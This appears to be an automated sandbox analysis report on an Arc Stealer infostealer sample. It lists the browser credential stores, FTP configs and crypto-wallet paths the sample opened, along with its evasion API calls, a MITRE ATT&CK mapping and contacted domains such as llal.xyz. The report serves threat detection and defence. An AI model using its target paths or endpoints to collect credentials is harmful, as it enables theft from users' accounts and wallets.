Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.comVMware20,11696501413}
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.co.inVMware20,11696501413d
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696501413x
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696501413
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696501413t
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413^
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.comVMware20,11696501413
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696501413f
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696501413

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_0086F990 rdtsc

1_2_0086F990

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_009002E4 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_009002E4

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_008F87E0 LoadLibraryW,GetProcAddress,TryAcquireSRWLockExclusive,ReleaseSRWLockExclusive,

1_2_008F87E0

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0594049B mov edx, dword ptr fs:[00000030h]	1_2_0594049B
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_05940A5B mov eax, dword ptr fs:[00000030h]	1_2_05940A5B
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_05940E0B mov eax, dword ptr fs:[00000030h]	1_2_05940E0B
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_059410AA mov eax, dword ptr fs:[00000030h]	1_2_059410AA
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_059410AB mov eax, dword ptr fs:[00000030h]	1_2_059410AB

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_00834B20 GetProcessHeap,HeapAlloc,

1_2_00834B20

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_009002E4 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_009002E4
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00866740 SetUnhandledExceptionFilter,	1_2_00866740
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00900D89 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00900D89
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0091399F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0091399F

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_00900456 cpuid

1_2_00900456

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	1_2_00922707
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: GetLocaleInfoW,	1_2_0091E83C
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: EnumSystemLocalesW,	1_2_00922958
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	1_2_00922A00
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: GetLocaleInfoW,	1_2_00922CC0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: EnumSystemLocalesW,	1_2_00922C53
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: EnumSystemLocalesW,	1_2_00922D95
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: GetLocaleInfoW,	1_2_00922DE0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_00922E87
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: EnumSystemLocalesW,	1_2_0091EE2D
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: GetLocaleInfoW,	1_2_00922F8D

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_00878530 GetModuleHandleW,GetProcAddress,GetSystemTimeAsFileTime,

1_2_00878530

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_0091688D GetTimeZoneInformation,

1_2_0091688D

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_0089AD80 __Init_thread_header,GetVersionExW,GetProductInfo,__Init_thread_header,GetNativeSystemInfo,

1_2_0089AD80

Stealing of Sensitive Information

Yara detected Arc Stealer

Source: Yara match

File source: Process Memory Space: 0x001900000002ab40-59.exe PID: 7584, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 0x001900000002ab40-59.exe, 00000001.00000002.1725564468.0000000008280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p": "\\Roaming\\Electrum\\wallets",
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1725564468.0000000008280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p": "\\Roaming\\ElectronCash\\wallets",
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum\wallets\\
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1725564468.0000000008280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "f": [ "app-store.json", "simple-storage.json", "finger-print", "window-state.json" ],
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1725564468.0000000008280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "f": [ "exodus.conf.json", "window-state.json", "passphrase.json", "seed.seco", "info.seco" ],
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1725564468.000000000828F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\*
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Roaming\Exodus
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1725564468.0000000008280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p": "\\Roaming\\Ethereum",
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Roaming\Coinomi\Coinomi\wallets
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1725564468.0000000008280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p": "\\Roaming\\MultiDoge",
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1725830139.000000000830C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cert9.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Notepad++\plugins\config\NppFTP\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\FTP Now\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Program Files (x86)\DeluxeFTP\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\UltraFXP\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Local\INSoftware\NovaFTP\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\BlazeFtp\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\BitKinex\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\FTPBox\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Program Files (x86)\GoFTP\settings\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Estsoft\ALFTP\	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\BBQCoin\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Megacoin\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Mincoin\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Namecoin\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Primecoin\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Terracoin\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 00000001.00000003.1722897393.0000000008297000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1722996754.00000000082AB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1725697054.00000000082AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0x001900000002ab40-59.exe PID: 7584, type: MEMORYSTR

Remote Access Functionality

Yara detected Arc Stealer

Source: Yara match

File source: Process Memory Space: 0x001900000002ab40-59.exe PID: 7584, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Masquerading	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	31 Security Software Discovery	Remote Desktop Protocol	4 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	25 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
0x001900000002ab40-59.exe	11%	ReversingLabs
0x001900000002ab40-59.exe	20%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
steamcommunity.com	0%	Virustotal		Browse
llal.xyz	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://player.vimeo.com	0%	URL Reputation	safe
https://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://www.youtube.com	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://store.steampowered.com/points/shop/	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://download.cdn.yandex.net/browser/installer/alice/scenarios/	0%	Virustotal		Browse
https://sketchfab.com	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
https://www.youtube.com/	0%	URL Reputation	safe
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	0%	URL Reputation	safe
https://store.steampowered.com/;	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://store.steampowered.com/news/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=MO4-iGQJS3Kg&l=en	0%	Virustotal		Browse
https://steamcommunity.com/?subsection=broadcasts	0%	Virustotal		Browse
https://steamcommunity.com/profiles/76561199619938930/inventory/	0%	Virustotal		Browse
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://storage.ape.yandex.net/get/browser/install	0%	Virustotal		Browse
https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d	0%	Virustotal		Browse
https://steamcommunity.com/login/home/?goto=profiles%2F76561199619938930	0%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
https://browser.yandex.	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=ttNb	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	0%	Virustotal		Browse
https://download.cdn.yandex.net/browser/installer/	0%	Virustotal		Browse
https://steamcommunity.com/profiles/76561199619938930	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	Virustotal		Browse
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
https://llal.xyz/	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	104.102.42.29	true	false	0%, Virustotal, Browse	unknown
llal.xyz	188.114.97.3	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d	false	0%, Virustotal, Browse	unknown
https://steamcommunity.com/profiles/76561199619938930	false	0%, Virustotal, Browse	unknown
https://llal.xyz/Up	false		unknown
https://llal.xyz/Up/b	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://download.cdn.yandex.net/browser/installer/alice/scenarios/	0x001900000002ab40-59.exe	false	0%, Virustotal, Browse	unknown
https://duckduckgo.com/chrome_newtab	0x001900000002ab40-59.exe, 00000001.00000003.1670010491.0000000008324000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://player.vimeo.com	0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=MO4-iGQJS3Kg&l=en	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	0%, Virustotal, Browse	unknown
https://duckduckgo.com/ac/?q=	0x001900000002ab40-59.exe, 00000001.00000003.1670010491.0000000008324000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.st	0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/profiles/76561199619938930/inventory/	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	0%, Virustotal, Browse	unknown
https://steamcommunity.com/?subsection=broadcasts	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	0%, Virustotal, Browse	unknown
https://yandex.Arial(	0x001900000002ab40-59.exe	false		unknown
https://store.steampowered.com/subscriber_agreement/	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://storage.ape.yandex.net/get/browser/install	0x001900000002ab40-59.exe	false	0%, Virustotal, Browse	unknown
https://contile-images.services.mozilla.com/5b4DH7KHAf2n_mNaLjNi1-UAoKmM9rhqaA9w7FyznHo.10943.jpg	0x001900000002ab40-59.exe, 00000001.00000003.1712081694.0000000008357000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712269375.000000000835A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.valvesoftware.com/legal.htm	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://www.youtube.com	0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
